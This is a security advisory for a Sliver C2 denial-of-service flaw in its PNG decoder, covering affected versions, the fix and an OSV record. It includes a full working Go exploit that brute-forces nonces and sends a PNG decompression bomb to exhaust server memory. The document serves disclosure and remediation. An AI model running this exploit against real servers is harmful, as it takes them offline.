CVE-2026-77622: Sliver Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-663m-7x7m-g4fw
CWE-770
Published
Advisory Summary

CVE-2026-77622 is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Sliver libraries in the Go ecosystem. The issue involves unauthenticated memory exhaustion denial of service in sliver http(s) listener png decoder. Remediation is available by upgrading affected packages to version 1.7.6.

CVE-2026-77622 at a Glance

CVE Identifier CVE-2026-77622
GHSA Identifier GHSA-663m-7x7m-g4fw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Sliver
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-77622

To remediate this vulnerability, upgrade all affected Sliver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/BishopFox/sliver fixed: 1.7.6
Upgrade github.com/BishopFox/sliver to 1.7.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/BishopFox/sliver

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77622, inspect your project dependencies for Sliver:

inspect dependencies for github.com/BishopFox/sliver

Analyze the terminal output to locate any version of Sliver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Sliver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. ### Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` ### PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Docker container with --memory=<N>g and pass -target-cap-mb N // so the tool can refuse dangerous worker/probe combos. // // Build: go build -o pngboomer // Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240 package main import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" ) // ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 } // PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i < H; i++ { zw.Write(row) } zw.Close() ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(W)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(H)) ihdr[8], ihdr[9] = 8, byte(ct) out := []byte("\x89PNG\r\n\x1a\n") out = append(out, chunk("IHDR", ihdr)...) out = append(out, chunk("IDAT", zb.Bytes())...) return append(out, chunk("IEND", nil)...) } // HTTP helpers func hostPort(u string) string { p, _ := url.Parse(u) if p.Port() != "" { return p.Hostname() + ":" + p.Port() } if p.Scheme == "https" { return p.Hostname() + ":443" } return p.Hostname() + ":80" } func alive(hp string, t time.Duration) bool { c, err := net.DialTimeout("tcp", hp, t) if err != nil { return false } c.Close() return true } func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration { req, _ := http.NewRequestWithContext(ctx, "POST", fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body)) req.Header.Set("Content-Type", "application/octet-stream") t := time.Now() resp, err := cli.Do(req) dt := time.Since(t) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } return dt } type hit struct { n uint64 dt time.Duration } func main() { target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL") workers := flag.Int("workers", 8, "scan concurrency") probeW := flag.Int("probe-w", 2000, "probe PNG width") probeH := flag.Int("probe-h", 2000, "probe PNG height") probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA") killW := flag.Int("kill-w", 32767, "kill PNG width") killH := flag.Int("kill-h", 32767, "kill PNG height") killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA") thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))") outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold") calibN := flag.Int("calibrate", 16, "non-PNG calibration samples") verifyN := flag.Int("verify", 3, "re-probe count per candidate") maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)") pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout") kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout") capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check") known := flag.Int("nonce", 0, "skip scan, use this nonce directly") scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill") noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill") noClr := flag.Bool("no-color", false, "disable ANSI color") silent := flag.Bool("silent", false, "only print nonce on stdout") flag.Parse() nocolor = *noClr || *silent pBpp, kBpp := 3, 3 if *probeCT == 6 { pBpp = 4 } if *killCT == 6 { kBpp = 4 } probeMB := pBpp * *probeW * *probeH / 1024 / 1024 killMB := kBpp * *killW * *killH / 1024 / 1024 peakMB := *workers * probeMB if *capMB > 0 && peakMB > *capMB/2 { fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n", R("[X] safety:"), peakMB, *capMB) os.Exit(2) } probe := makePNG(*probeW, *probeH, *probeCT) kill := makePNG(*killW, *killH, *killCT) hp := hostPort(*target) if !alive(hp, 2*time.Second) { fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp) os.Exit(2) } if !*silent { fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS")) fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n", len(probe), *probeW, *probeH, *probeCT, probeMB) fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n", len(kill), *killW, *killH, *killCT, killMB) fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n", peakMB, *capMB, B(hp)) } cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}} pngN := uint64(*known) if pngN == 0 { // ─── Phase 1: calibrate non-PNG baseline ─── dts := make([]time.Duration, *calibN) sem := make(chan struct{}, 8) var wg sync.WaitGroup for i := 0; i < *calibN; i++ { i := i sem <- struct{}{} wg.Add(1) go func() { defer wg.Done() defer func() { <-sem }() dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1)) }() } wg.Wait() sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] }) p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100] eff := int64(*thMs) if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff { eff = a } *thMs = int(eff) thresh := time.Duration(*thMs) * time.Millisecond if !*silent { fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n", ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier) } // ─── Phase 2: scan with verify + blacklist-on-blip ─── blacklist := map[uint64]bool{} var maxDt int64 var maxNonce uint64 var totalDone uint64 scanStart := time.Now() const maxBlips = 8 // Shuffled nonce order, shared across re-scans. Workers pull via atomic // counter — no channels, no producer goroutine. order := make([]uint64, *maxN-1) for i := range order { order[i] = uint64(i + 1) } rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] }) for blip := 0; blip < maxBlips && pngN == 0; blip++ { scanCtx, scanCancel := context.WithCancel(context.Background()) hits := make(chan hit, 1) var idx int64 var scanned uint64 var swg sync.WaitGroup for i := 0; i < *workers; i++ { swg.Add(1) go func() { defer swg.Done() for scanCtx.Err() == nil { i := atomic.AddInt64(&idx, 1) - 1 if i >= int64(len(order)) { return } n := order[i] if blacklist[n] { continue } dt := post(scanCtx, cli, *target, probe, n) atomic.AddUint64(&scanned, 1) for { // track slowest probe (lock-free CAS) cur := atomic.LoadInt64(&maxDt) if dt.Nanoseconds() <= cur { break } if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) { atomic.StoreUint64(&maxNonce, n) break } } if dt >= thresh { select { case hits <- hit{n, dt}: default: } scanCancel() return } } }() } if !*silent { go func() { t := time.NewTicker(750 * time.Millisecond) defer t.Stop() for { select { case <-scanCtx.Done(): return case <-t.C: tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned) el := time.Since(scanStart).Seconds() fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"), tot, float64(tot)/el, el, blip) } } }() } go func() { swg.Wait(); close(hits) }() cand, ok := <-hits scanCancel() atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned)) if !ok { break // exhausted, no candidate } // VERIFY: re-probe N×, count threshold hits, render tries inline conf := 0 var tries bytes.Buffer for i := 0; i < *verifyN; i++ { dt := post(context.Background(), cli, *target, probe, cand.n) if dt >= thresh { conf++ tries.WriteString(G("✓")) } else { tries.WriteString(R("✗")) } fmt.Fprintf(&tries, "%.0fms ", ms(dt)) } if !*silent { fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n", B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String()) } if conf >= (*verifyN+1)/2 { pngN = cand.n if !*silent { fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n", G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)), time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist)) } break } blacklist[cand.n] = true if !*silent { fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n", Y("[!] blip"), cand.n, conf, *verifyN) } } if pngN == 0 { mDt := time.Duration(atomic.LoadInt64(&maxDt)) mN := atomic.LoadUint64(&maxNonce) fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n", R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone)) fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt)) suggest := mDt.Milliseconds() * 6 / 10 if suggest < 30 { suggest = 30 } fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n", C(fmt.Sprintf("-threshold-ms %d", suggest))) os.Exit(2) } } if *scanOnly { fmt.Println(pngN) return } // ─── Phase 3: fire kill bomb ─── if !*silent { fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n", B("[*]"), killMB, *target, pngN) } kCli := &http.Client{Timeout: *kTO} killStart := time.Now() done := make(chan struct{}) go func() { dt := post(context.Background(), kCli, *target, kill, pngN) if !*silent { fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds()) } close(done) }() if *noConf { <-done fmt.Println(pngN) return } deadline := time.Now().Add(*kTO) for time.Now().Before(deadline) { time.Sleep(250 * time.Millisecond) if !alive(hp, time.Second) { if !*silent { fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n", G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp) } fmt.Println(pngN) return } } fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO) os.Exit(1) } ``` ### Impact This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing. ### Collaboration This vulnerability was found with the help of Wencheng Xue (panwnvda).

CVE-2026-77622 Affected Sliver Versions

1 component(s)
Fixed Versions:
1.7.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/BishopFox/sliver
Go
< 1.7.6
1.7.6

References

Frequently Asked Questions

What is CVE-2026-77622?
CVE-2026-77622 is a security vulnerability in Sliver involving Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Sliver versions are affected?
Affected versions include releases prior to 1.7.6 across affected packages: github.com/BishopFox/sliver.
What version fixes CVE-2026-77622?
Upgrading to 1.7.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/BishopFox/sliver affected?
Yes, github.com/BishopFox/sliver is affected in releases prior to 1.7.6. Upgrade your dependency to 1.7.6 or later.
What CWE is associated with CVE-2026-77622?
CVE-2026-77622 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-77622?
Run the dependency tree command: 'inspect dependencies for github.com/BishopFox/sliver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-663m-7x7m-g4fw",
  "modified" : "2026-10-15T20:09:33Z",
  "published" : "2026-10-15T20:09:33Z",
  "aliases" : [ "CVE-2026-77622" ],
  "summary" : "Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder",
  "details" : "### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n    EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n    img := imageFromBytes(data)\n    var buf bytes.Buffer\n    encoder.Encode(&buf, img)\n    return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n    buf := bytes.NewBuffer(data)\n    img, err := png.Decode(buf)\n    if err != nil { return nil, err }\n    return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=<N>g and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build:  go build -o pngboomer\n// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n        \"bytes\"\n        \"compress/zlib\"\n        \"context\"\n        \"encoding/binary\"\n        \"flag\"\n        \"fmt\"\n        \"hash/crc32\"\n        \"io\"\n        \"math/rand\"\n        \"net\"\n        \"net/http\"\n        \"net/url\"\n        \"os\"\n        \"sort\"\n        \"sync\"\n        \"sync/atomic\"\n        \"time\"\n)\n\n// ANSI color — single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n        if nocolor {\n                return s\n        }\n        return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string          { return col(\"1\", s) }\nfunc D(s string) string          { return col(\"2\", s) }\nfunc R(s string) string          { return col(\"1;31\", s) }\nfunc G(s string) string          { return col(\"1;32\", s) }\nfunc Y(s string) string          { return col(\"1;33\", s) }\nfunc C(s string) string          { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n        out := make([]byte, 4, 12+len(data))\n        binary.BigEndian.PutUint32(out, uint32(len(data)))\n        out = append(out, typ...)\n        out = append(out, data...)\n        crc := crc32.NewIEEE()\n        crc.Write([]byte(typ))\n        crc.Write(data)\n        tail := make([]byte, 4)\n        binary.BigEndian.PutUint32(tail, crc.Sum32())\n        return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n        bpp := 3\n        if ct == 6 {\n                bpp = 4\n        }\n        var zb bytes.Buffer\n        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)\n        row := make([]byte, 1+bpp*W)\n        for i := 0; i < H; i++ {\n                zw.Write(row)\n        }\n        zw.Close()\n        ihdr := make([]byte, 13)\n        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n        ihdr[8], ihdr[9] = 8, byte(ct)\n        out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n        out = append(out, chunk(\"IHDR\", ihdr)...)\n        out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n        return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n        p, _ := url.Parse(u)\n        if p.Port() != \"\" {\n                return p.Hostname() + \":\" + p.Port()\n        }\n        if p.Scheme == \"https\" {\n                return p.Hostname() + \":443\"\n        }\n        return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n        c, err := net.DialTimeout(\"tcp\", hp, t)\n        if err != nil {\n                return false\n        }\n        c.Close()\n        return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n        req, _ := http.NewRequestWithContext(ctx, \"POST\",\n                fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n        req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n        t := time.Now()\n        resp, err := cli.Do(req)\n        dt := time.Since(t)\n        if err == nil {\n                io.Copy(io.Discard, resp.Body)\n                resp.Body.Close()\n        }\n        return dt\n}\n\ntype hit struct {\n        n  uint64\n        dt time.Duration\n}\n\nfunc main() {\n        target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n        workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n        probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n        probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n        probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n        killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n        killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n        killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n        thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 × outlier-mult))\")\n        outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 × this = adaptive threshold\")\n        calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n        verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n        maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n        pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n        kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n        capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n        known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n        scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don't kill\")\n        noConf := flag.Bool(\"no-confirm\", false, \"don't TCP-poll for death after kill\")\n        noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n        silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n        flag.Parse()\n\n        nocolor = *noClr || *silent\n        pBpp, kBpp := 3, 3\n        if *probeCT == 6 {\n                pBpp = 4\n        }\n        if *killCT == 6 {\n                kBpp = 4\n        }\n        probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n        killMB := kBpp * *killW * *killH / 1024 / 1024\n        peakMB := *workers * probeMB\n        if *capMB > 0 && peakMB > *capMB/2 {\n                fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\\n\",\n                        R(\"[X] safety:\"), peakMB, *capMB)\n                os.Exit(2)\n        }\n\n        probe := makePNG(*probeW, *probeH, *probeCT)\n        kill := makePNG(*killW, *killH, *killCT)\n        hp := hostPort(*target)\n        if !alive(hp, 2*time.Second) {\n                fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n                os.Exit(2)\n        }\n        if !*silent {\n                fmt.Fprintln(os.Stderr, B(\"pngboomer — Sliver C2 PNG-bomb DoS\"))\n                fmt.Fprintf(os.Stderr, \"  probe %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(probe), *probeW, *probeH, *probeCT, probeMB)\n                fmt.Fprintf(os.Stderr, \"  kill  %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(kill), *killW, *killH, *killCT, killMB)\n                fmt.Fprintf(os.Stderr, \"  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\\n\",\n                        peakMB, *capMB, B(hp))\n        }\n\n        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}\n        pngN := uint64(*known)\n\n        if pngN == 0 {\n                // ─── Phase 1: calibrate non-PNG baseline ───\n                dts := make([]time.Duration, *calibN)\n                sem := make(chan struct{}, 8)\n                var wg sync.WaitGroup\n                for i := 0; i < *calibN; i++ {\n                        i := i\n                        sem <- struct{}{}\n                        wg.Add(1)\n                        go func() {\n                                defer wg.Done()\n                                defer func() { <-sem }()\n                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n                        }()\n                }\n                wg.Wait()\n                sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })\n                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n                eff := int64(*thMs)\n                if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {\n                        eff = a\n                }\n                *thMs = int(eff)\n                thresh := time.Duration(*thMs) * time.Millisecond\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\\n\",\n                                ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n                }\n\n                // ─── Phase 2: scan with verify + blacklist-on-blip ───\n                blacklist := map[uint64]bool{}\n                var maxDt int64\n                var maxNonce uint64\n                var totalDone uint64\n                scanStart := time.Now()\n                const maxBlips = 8\n\n                // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n                // counter — no channels, no producer goroutine.\n                order := make([]uint64, *maxN-1)\n                for i := range order {\n                        order[i] = uint64(i + 1)\n                }\n                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n                for blip := 0; blip < maxBlips && pngN == 0; blip++ {\n                        scanCtx, scanCancel := context.WithCancel(context.Background())\n                        hits := make(chan hit, 1)\n                        var idx int64\n                        var scanned uint64\n                        var swg sync.WaitGroup\n                        for i := 0; i < *workers; i++ {\n                                swg.Add(1)\n                                go func() {\n                                        defer swg.Done()\n                                        for scanCtx.Err() == nil {\n                                                i := atomic.AddInt64(&idx, 1) - 1\n                                                if i >= int64(len(order)) {\n                                                        return\n                                                }\n                                                n := order[i]\n                                                if blacklist[n] {\n                                                        continue\n                                                }\n                                                dt := post(scanCtx, cli, *target, probe, n)\n                                                atomic.AddUint64(&scanned, 1)\n                                                for { // track slowest probe (lock-free CAS)\n                                                        cur := atomic.LoadInt64(&maxDt)\n                                                        if dt.Nanoseconds() <= cur {\n                                                                break\n                                                        }\n                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {\n                                                                atomic.StoreUint64(&maxNonce, n)\n                                                                break\n                                                        }\n                                                }\n                                                if dt >= thresh {\n                                                        select {\n                                                        case hits <- hit{n, dt}:\n                                                        default:\n                                                        }\n                                                        scanCancel()\n                                                        return\n                                                }\n                                        }\n                                }()\n                        }\n\n                        if !*silent {\n                                go func() {\n                                        t := time.NewTicker(750 * time.Millisecond)\n                                        defer t.Stop()\n                                        for {\n                                                select {\n                                                case <-scanCtx.Done():\n                                                        return\n                                                case <-t.C:\n                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)\n                                                        el := time.Since(scanStart).Seconds()\n                                                        fmt.Fprintf(os.Stderr, D(\"  scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n                                                                tot, float64(tot)/el, el, blip)\n                                                }\n                                        }\n                                }()\n                        }\n\n                        go func() { swg.Wait(); close(hits) }()\n                        cand, ok := <-hits\n                        scanCancel()\n                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))\n                        if !ok {\n                                break // exhausted, no candidate\n                        }\n\n                        // VERIFY: re-probe N×, count threshold hits, render tries inline\n                        conf := 0\n                        var tries bytes.Buffer\n                        for i := 0; i < *verifyN; i++ {\n                                dt := post(context.Background(), cli, *target, probe, cand.n)\n                                if dt >= thresh {\n                                        conf++\n                                        tries.WriteString(G(\"✓\"))\n                                } else {\n                                        tries.WriteString(R(\"✗\"))\n                                }\n                                fmt.Fprintf(&tries, \"%.0fms \", ms(dt))\n                        }\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"  candidate %s (%.0fms)  verify: %s\\n\",\n                                        B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n                        }\n                        if conf >= (*verifyN+1)/2 {\n                                pngN = cand.n\n                                if !*silent {\n                                        fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n                                                G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))\n                                }\n                                break\n                        }\n                        blacklist[cand.n] = true\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) — blacklisted\\n\",\n                                        Y(\"[!] blip\"), cand.n, conf, *verifyN)\n                        }\n                }\n\n                if pngN == 0 {\n                        mDt := time.Duration(atomic.LoadInt64(&maxDt))\n                        mN := atomic.LoadUint64(&maxNonce)\n                        fmt.Fprintf(os.Stderr, \"%s no candidate ≥ %dms after %d probes\\n\",\n                                R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(&totalDone))\n                        fmt.Fprintf(os.Stderr, \"  slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n                    